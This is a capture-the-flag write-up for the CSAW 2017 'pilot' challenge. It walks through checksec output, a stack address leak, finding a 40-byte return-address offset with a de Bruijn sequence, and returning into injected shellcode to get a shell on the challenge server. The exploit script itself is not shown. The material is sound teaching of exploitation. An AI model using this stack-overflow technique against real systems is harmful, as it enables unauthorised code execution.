CSAW '17 PWN - pilot (75pt)

September 25 2017

Being eager to wake up and play CSAW with my university team (K17 - Finished tied 14th!), I jumped on the first PWN challenge at 7:30am the morning of the competition.

The description of the challenge of the CSAW challenge listing was:

Can I take your order?
nc pwn.chal.csaw.io 8464
16:05 Eastern: Updated binary

Firing up checksec, we see the following:

↳ checksec pilot.elf
[*] '/home/glenn/Downloads/csaw/pilot/pilot.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

So this screams shellcode to me, because NX is disabled, let's run the binary and have a look at what is happening.

↳ ./pilot.elf
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]There are no commands....
[*]Mission Failed....

So the binary runs, prints a lot of information, gives what appears to be a Libc or stack leak, and then prompts for some user input (for which I provided 'ls') and then dies. Let's load this up in r2 and have a look.

So we can see that when Location: is printed, there is a stack address leak! Looking further down we can see that 0x40 bytes are read in from stdin into the buffer located at the address that was leaked above.

Perfect! Now let's check how big the buffer is and if we can overflow it will data and overwrite the return address! r2 tells me the following information:

var int local_20h @ rbp-0x20

This tells me that the buffer is 0x20 bytes above the stored frame pointer, and as such would be 0x28 bytes above the stored return address!
Just to check let's use a debruijn sequence to see what address we fault on when we try to return. Pwntools will let me do this!

In [1]: cyclic(0x40, n=8)
Out[1]: 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaa'

Now feeding this to the binary, while debugging with radare, and checking the top 8 bytes on the stack when the execution fails on the ret, we can figure out how much data we need.

[0x00400b35]> pd 1
|           ;-- rip:
└           0x00400b35      c3             ret
[0x00400b35]> x/1xg @ rsp
0x7fff18d8f2b8  0x6161616161616166                       faaaaaaa

Now feeding this into the debruijn sequence solver we can figure out how many bytes we need:

In [2]: cyclic_find(0x6161616161616166, n=8)
Out[2]: 40

There we go, our reversing analysis was right! So all we need to do is put some x86 shellcode into the data we read in after collecting the stack address leak - buffering the shellcode with junk after the shellcode until we get to 40 bytes, and then overwriting the saved return pointer with the stack leak address!

Let's put it together:

Now let's run it and get the flag!

↳ python pilot.py
[+] Opening connection to pwn.chal.csaw.io on port 8464: Done
[+] Leaked stack addr form buf: 0x7ffc59cf2fe0
[*] Shellcode length: 23 bytes
[*] Switching to interactive mode
$ ls
$ cat flag